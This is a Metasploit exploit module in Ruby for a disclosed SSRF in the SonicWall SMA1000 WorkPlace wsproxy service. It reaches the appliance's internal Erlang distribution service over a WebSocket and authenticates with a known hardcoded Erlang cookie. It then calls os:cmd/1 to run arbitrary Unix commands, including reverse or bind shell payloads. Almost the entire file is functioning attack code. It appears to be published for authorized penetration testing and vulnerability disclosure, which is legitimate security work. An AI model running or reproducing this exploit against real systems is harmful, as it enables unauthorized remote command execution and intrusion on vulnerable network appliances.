## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'base64' require 'digest' require 'securerandom' require 'timeout' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck ETF_VERSION = 131 SMALL_INTEGER_EXT = 97 INTEGER_EXT = 98 ATOM_EXT = 100 REFERENCE_EXT = 101 PID_EXT = 103 SMALL_TUPLE_EXT = 104 NIL_EXT = 106 STRING_EXT = 107 LIST_EXT = 108 BINARY_EXT = 109 ATOM_UTF8_EXT = 118 SMALL_ATOM_UTF8_EXT = 119 NEW_PID_EXT = 88 NEWER_REFERENCE_EXT = 90 DFLAG_EXTENDED_REFERENCES = 0x00000004 DFLAG_FUN_TAGS = 0x00000010 DFLAG_NEW_FUN_TAGS = 0x00000080 DFLAG_EXTENDED_PIDS_PORTS = 0x00000100 DFLAG_EXPORT_PTR_TAG = 0x00000200 DFLAG_BIT_BINARIES = 0x00000400 DFLAG_NEW_FLOATS = 0x00000800 DFLAG_UTF8_ATOMS = 0x00010000 DFLAG_MAP_TAG = 0x00020000 DFLAG_BIG_CREATION = 0x00040000 DFLAG_HANDSHAKE_23 = 0x01000000 DIST_FLAGS = DFLAG_EXTENDED_REFERENCES | DFLAG_FUN_TAGS | DFLAG_NEW_FUN_TAGS | DFLAG_EXTENDED_PIDS_PORTS | DFLAG_EXPORT_PTR_TAG | DFLAG_BIT_BINARIES | DFLAG_NEW_FLOATS | DFLAG_UTF8_ATOMS | DFLAG_MAP_TAG | DFLAG_BIG_CREATION | DFLAG_HANDSHAKE_23 SmaReadyFrame = "\x0b\x00\x00\x00\x00".b Pid = Struct.new(:node, :ident, :serial, :creation) Reference = Struct.new(:node, :ident, :creation) # Adapts the SMA Connect Agent WebSocket protocol to the socket-like # sendall/recv interface required by the Erlang distribution implementation. # # WebSocket framing and connection handling are provided by Rex. This adapter # handles SMA-specific Base64 encoding, the initial ready frame, and buffering # for exact-length Erlang reads. class SmaErlangWebSocketAdapter def initialize(wsock, read_timeout, verbose_proc = nil) @wsock = wsock @read_timeout = read_timeout @verbose_proc = verbose_proc @recv_buffer = ''.b consume_ready_frame end def sendall(data) # The SMA Connect Agent protocol sends base64 data in WebSocket text frames. @wsock.put_wstext(Base64.strict_encode64(data)) end def recv(size) while @recv_buffer.bytesize < size message = read_message break if message.nil? @recv_buffer << message end result = @recv_buffer.byteslice(0, size) || ''.b @recv_buffer = @recv_buffer.byteslice(size..) || ''.b result end def close @wsock.wsclose rescue StandardError nil end private def consume_ready_frame message = read_message(timeout: 1, allow_timeout: true) return if message.nil? if message == MetasploitModule::SmaReadyFrame @verbose_proc&.call('Received SMA ready frame') else @recv_buffer << message end end def read_message(timeout: @read_timeout, allow_timeout: false) result = catch(:sma_websocket_message) do Timeout.timeout(timeout) do # Rex wsloop handles WebSocket fragmentation, masking, ping/pong, and # close frames. Throwing from the callback returns one complete message # without allowing wsloop to close the still-active WebSocket. @wsock.wsloop do |data, _data_type| throw :sma_websocket_message, data.to_s.b end end nil end result rescue Timeout::Error return nil if allow_timeout raise Rex::TimeoutError, 'Timed out waiting for WebSocket data' end end def initialize(info = {}) super( update_info( info, 'Name' => 'SonicWall SMA1000 WorkPlace wsproxy SSRF Remote Command Execution', 'Description' => %q{ This module exploits a Server-Side Request Forgery (SSRF) vulnerability in the SonicWall SMA1000 WorkPlace wsproxy service to access the internal Erlang distribution service. After authenticating using the known Erlang distribution cookie, the module invokes os:cmd/1 through Erlang RPC to execute arbitrary Unix commands in the context of the vulnerable SMA service. The check method performs a benign Erlang node RPC rather than executing an operating system command. }, 'License' => MSF_LICENSE, 'Author' => [ 'Ryan Emmons', # Original Python PoC research and development 'Deral Heiland', # Metasploit module testing and development 'Rapid7 Vulnerability Research' ], 'References' => [ ['CVE', '2026-15409'], ['URL', 'https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2026-0008'], ['URL', 'https://www.rapid7.com/blog/post/etr-rapid7-mdr-team-discovers-new-sonicwall-sma1000-zero-days-being-actively-exploited-cve-2026-15409-cve-2026-15410/'] ], 'DisclosureDate' => '2026-07-14', 'Privileged' => false, 'Targets' => [ [ 'Unix Command', { 'Platform' => %w[unix linux], 'Arch' => ARCH_CMD, 'Type' => :unix_cmd } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true, 'FETCH_WRITABLE_DIR' => '/tmp', 'WfsDelay' => 10 }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options( [ OptString.new('TARGETURI', [true, 'SMA WorkPlace base path', '/']), OptString.new('WSHOST', [true, 'Internal host supplied to wsproxy', '0.0.0.0']), OptPort.new('WSPORT', [true, 'Internal Erlang distribution service port', 1050]), OptString.new('BMID', [true, 'Bookmark identifier beginning with -3389', '-3389c1b25ccd']), OptString.new('SERVICE_TYPE', [true, 'wsproxy service type', 'SSH']), OptString.new('ORIGIN', [false, 'WebSocket Origin header; generated automatically when empty', '']), OptString.new('WS_USER_AGENT', [true, 'WebSocket User-Agent header', 'SMA Connect Agent']), OptString.new('ERLANG_COOKIE', [true, 'Erlang distribution cookie', '10ecad5b446e86864832904cd439b6b70262']), OptString.new('NODE_NAME', [false, 'Erlang client node name; generated automatically when empty', '']), OptInt.new('WS_READ_TIMEOUT', [true, 'Seconds to wait for WebSocket protocol data', 10]) ] ) end def websocket_uri query = "bmID=#{Rex::Text.uri_encode(datastore['BMID'])}" \ "&serviceType=#{Rex::Text.uri_encode(datastore['SERVICE_TYPE'])}" \ "&host=#{Rex::Text.uri_encode(datastore['WSHOST'])}" \ "&port=#{datastore['WSPORT']}" "#{normalize_uri(target_uri.path, 'wsproxy')}?#{query}" end def websocket_origin return datastore['ORIGIN'] unless datastore['ORIGIN'].blank? scheme = ssl ? 'https' : 'http' default_port = ssl ? 443 : 80 authority = vhost authority = "#{authority}:#{rport}" unless rport == default_port "#{scheme}://#{authority}" end def erlang_node_name return datastore['NODE_NAME'] unless datastore['NODE_NAME'].blank? "#{Rex::Text.rand_text_numeric(6)}@127.0.0.1" end def connect_sma_websocket vprint_status("Connecting to #{websocket_uri}") vprint_status("Origin: #{websocket_origin}") vprint_status("Internal destination: #{datastore['WSHOST']}:#{datastore['WSPORT']}") wsock = connect_ws( 'method' => 'GET', 'uri' => websocket_uri, 'headers' => { 'Origin' => websocket_origin, 'User-Agent' => datastore['WS_USER_AGENT'], 'Sec-WebSocket-Protocol' => 'binary' } ) vprint_good('WebSocket upgrade succeeded') SmaErlangWebSocketAdapter.new(wsock, datastore['WS_READ_TIMEOUT'], proc { |message| vprint_status(message) }) end def recv_exact(sock, size) buffer = ''.b while buffer.bytesize < size chunk = sock.recv(size - buffer.bytesize) raise EOFError, 'Peer closed the connection' if chunk.nil? || chunk.empty? buffer << chunk end buffer end def send_handshake_packet(sock, payload) sock.sendall([payload.bytesize].pack('n') + payload) end def recv_handshake_packet(sock) size = recv_exact(sock, 2).unpack1('n') recv_exact(sock, size) end def send_dist_packet(sock, payload) sock.sendall([payload.bytesize].pack('N') + payload) end def recv_dist_packet(sock) size = recv_exact(sock, 4).unpack1('N') return ''.b if size.zero? recv_exact(sock, size) end def erlang_digest(cookie, challenge) Digest::MD5.digest("#{cookie}#{challenge}") end def parse_challenge(payload) case payload.byteslice(0, 1) when 'N' raise ArgumentError, 'Short new-style Erlang challenge packet' if payload.bytesize < 19 flags, challenge, creation, name_length = payload.byteslice(1, 18).unpack('Q>NNn') name = payload.byteslice(19, name_length).to_s [flags, challenge, creation, name] when 'n' raise ArgumentError, 'Short old-style Erlang challenge packet' if payload.bytesize < 11 _version, flags, challenge = payload.byteslice(1, 10).unpack('nNN') name = payload.byteslice(11..).to_s [flags, challenge, 0, name] else raise ArgumentError, "Unexpected Erlang challenge tag: #{payload.byteslice(0, 1).inspect}" end end def etf_atom(value) data = value.to_s.b if data.bytesize <= 255 [SMALL_ATOM_UTF8_EXT, data.bytesize].pack('CC') + data else [ATOM_UTF8_EXT, data.bytesize].pack('Cn') + data end end def etf_small_int(value) raise ArgumentError, 'Small integer is outside the range 0..255' unless value.between?(0, 255) [SMALL_INTEGER_EXT, value].pack('CC') end def etf_string(value) data = value.to_s.b raise ArgumentError, 'ETF STRING_EXT exceeds 65535 bytes' if data.bytesize > 65_535 [STRING_EXT, data.bytesize].pack('Cn') + data end def etf_nil [NIL_EXT].pack('C') end def etf_tuple(*items) raise ArgumentError, 'Tuple arity exceeds SMALL_TUPLE_EXT capacity' if items.length > 255 [SMALL_TUPLE_EXT, items.length].pack('CC') + items.join end def etf_list(items) [LIST_EXT, items.length].pack('CN') + items.join + etf_nil end def etf_pid(pid) [PID_EXT].pack('C') + etf_atom(pid.node) + [pid.ident, pid.serial, pid.creation].pack('NNC') end def decode_etf(data, offset = 0) raise ArgumentError, 'Unexpected end of ETF data' if offset >= data.bytesize tag = data.getbyte(offset) offset += 1 return decode_etf(data, offset) if tag == ETF_VERSION case tag when SMALL_INTEGER_EXT [data.getbyte(offset), offset + 1] when INTEGER_EXT [data.byteslice(offset, 4).unpack1('l>'), offset + 4] when ATOM_EXT, ATOM_UTF8_EXT length = data.byteslice(offset, 2).unpack1('n') offset += 2 [data.byteslice(offset, length).to_s, offset + length] when SMALL_ATOM_UTF8_EXT length = data.getbyte(offset) offset += 1 [data.byteslice(offset, length).to_s, offset + length] when STRING_EXT length = data.byteslice(offset, 2).unpack1('n') offset += 2 [data.byteslice(offset, length).to_s, offset + length] when BINARY_EXT length = data.byteslice(offset, 4).unpack1('N') offset += 4 [data.byteslice(offset, length).to_s.b, offset + length] when NIL_EXT [[], offset] when SMALL_TUPLE_EXT arity = data.getbyte(offset) offset += 1 values = [] arity.times do value, offset = decode_etf(data, offset) values << value end [values.freeze, offset] when LIST_EXT length = data.byteslice(offset, 4).unpack1('N') offset += 4 values = [] length.times do value, offset = decode_etf(data, offset) values << value end tail, offset = decode_etf(data, offset) values << [:tail, tail] unless tail == [] [values, offset] when PID_EXT node, offset = decode_etf(data, offset) ident, serial = data.byteslice(offset, 8).unpack('NN') offset += 8 creation = data.getbyte(offset) [Pid.new(node, ident, serial, creation), offset + 1] when NEW_PID_EXT node, offset = decode_etf(data, offset) ident, serial, creation = data.byteslice(offset, 12).unpack('NNN') [Pid.new(node, ident, serial, creation), offset + 12] when REFERENCE_EXT node, offset = decode_etf(data, offset) ident = data.byteslice(offset, 4).unpack1('N') offset += 4 creation = data.getbyte(offset) [Reference.new(node, ident, creation), offset + 1] when NEWER_REFERENCE_EXT length = data.byteslice(offset, 2).unpack1('n') offset += 2 node, offset = decode_etf(data, offset) creation = data.byteslice(offset, 4).unpack1('N') offset += 4 identifiers = [] length.times do identifiers << data.byteslice(offset, 4).unpack1('N') offset += 4 end [[:reference, node, creation, identifiers], offset] else raise ArgumentError, "Unsupported ETF tag #{tag} at offset #{offset - 1}" end end def rpc_call(sock, node_name, erlang_module, function, arguments) sender_pid = Pid.new(node_name, 1, 0, 0) request = etf_tuple( etf_pid(sender_pid), etf_tuple( etf_atom('call'), etf_atom(erlang_module), etf_atom(function), etf_list(arguments), etf_atom('user') ) ) control = etf_tuple( etf_small_int(6), etf_pid(sender_pid), etf_atom('nocookie'), etf_atom('rex') ) send_dist_packet(sock, [112, ETF_VERSION].pack('CC') + control + [ETF_VERSION].pack('C') + request) loop do packet = recv_dist_packet(sock) next if packet.empty? raise "Unexpected distribution packet type #{packet.getbyte(0)}" unless packet.getbyte(0) == 112 control_term, offset = decode_etf(packet, 1) message_term, = decode_etf(packet, offset) next unless control_term.is_a?(Array) && control_term[0] == 2 next unless message_term.is_a?(Array) && message_term.length == 2 && message_term[0] == 'rex' return message_term[1] end end def erlang_connect_and_rpc(erlang_module, function, arguments) sock = connect_sma_websocket node_name = erlang_node_name node_name_data = node_name.b vprint_status("Using Erlang node name #{node_name}") name_packet = 'N'.b + [DIST_FLAGS, 0, node_name_data.bytesize].pack('Q>Nn') + node_name_data send_handshake_packet(sock, name_packet) status = recv_handshake_packet(sock) raise "Unexpected Erlang status packet: #{status.inspect}" unless status.start_with?('s') status_text = status.byteslice(1..).to_s vprint_status("Erlang distribution status: #{status_text}") raise "Erlang connection rejected: #{status_text}" unless %w[ok ok_simultaneous].include?(status_text) challenge_packet = recv_handshake_packet(sock) peer_flags, peer_challenge, peer_creation, peer_name = parse_challenge(challenge_packet) vprint_good("Reached Erlang node #{peer_name}") vprint_status(format('Peer flags: 0x%x', peer_flags)) vprint_status("Peer creation: #{peer_creation}") my_challenge = SecureRandom.random_number(0x1_0000_0000) reply = 'r'.b + [my_challenge].pack('N') + erlang_digest(datastore['ERLANG_COOKIE'], peer_challenge) send_handshake_packet(sock, reply) acknowledgement = recv_handshake_packet(sock) raise "Unexpected Erlang acknowledgement: #{acknowledgement.inspect}" unless acknowledgement.start_with?('a') raise 'Erlang cookie authentication failed' unless acknowledgement.byteslice(1..) == erlang_digest(datastore['ERLANG_COOKIE'], my_challenge) vprint_good('Erlang cookie authentication succeeded') result = rpc_call(sock, node_name, erlang_module, function, arguments) [result, peer_name] ensure sock&.close end def format_term(value) case value when String value when Array "{#{value.map { |item| format_term(item) }.join(', ')}}" when Pid "#Pid<#{value.node}.#{value.ident}.#{value.serial}>" when Reference "#Ref<#{value.node}.#{value.ident}>" else value.to_s end end def check result, peer_name = erlang_connect_and_rpc('erlang', 'node', []) node_result = format_term(result) return CheckCode::Unknown('The Erlang RPC completed but returned an empty node name') if node_result.blank? CheckCode::Appears("Authenticated to internal Erlang node #{peer_name}; erlang:node/0 returned #{node_result}") rescue Rex::Proto::Http::WebSocket::ConnectionError => e details = e.http_response ? "HTTP #{e.http_response.code}" : e.message CheckCode::Safe("The wsproxy WebSocket upgrade was rejected: #{details}") rescue Rex::ConnectionError, Rex::TimeoutError, EOFError => e CheckCode::Unknown("Connection failed while testing the internal Erlang service: #{e.message}") rescue RuntimeError, ArgumentError => e if e.message.include?('cookie authentication failed') CheckCode::Appears("The internal Erlang service was reached, but the configured cookie was rejected: #{e.message}") else CheckCode::Unknown("The internal protocol returned an unexpected result: #{e.message}") end end def execute_command(command, _opts = {}) print_status("Executing command through Erlang os:cmd/1: #{command}") result, peer_name = erlang_connect_and_rpc('os', 'cmd', [etf_string(command)]) output = format_term(result) print_good("RPC completed through #{peer_name}") print_line(output) unless output.blank? output rescue Rex::Proto::Http::WebSocket::ConnectionError => e fail_with(Failure::Unreachable, "WebSocket connection failed: #{e.message}") rescue Rex::ConnectionError, EOFError => e fail_with(Failure::Unreachable, "Connection failed: #{e.message}") rescue RuntimeError, ArgumentError => e fail_with(Failure::UnexpectedReply, e.message) end def exploit execute_command(payload.encoded) rescue Rex::TimeoutError => e # A reverse or bind command shell can keep Erlang os:cmd/1 blocked even # after Metasploit has successfully registered the new session. Only # suppress the transport timeout when the framework confirms a session. raise e unless session_created? print_good('Session created; ignoring the expected Erlang RPC/WebSocket timeout from the still-running command shell.') vprint_status("WebSocket timeout after session creation: #{e.message}") end end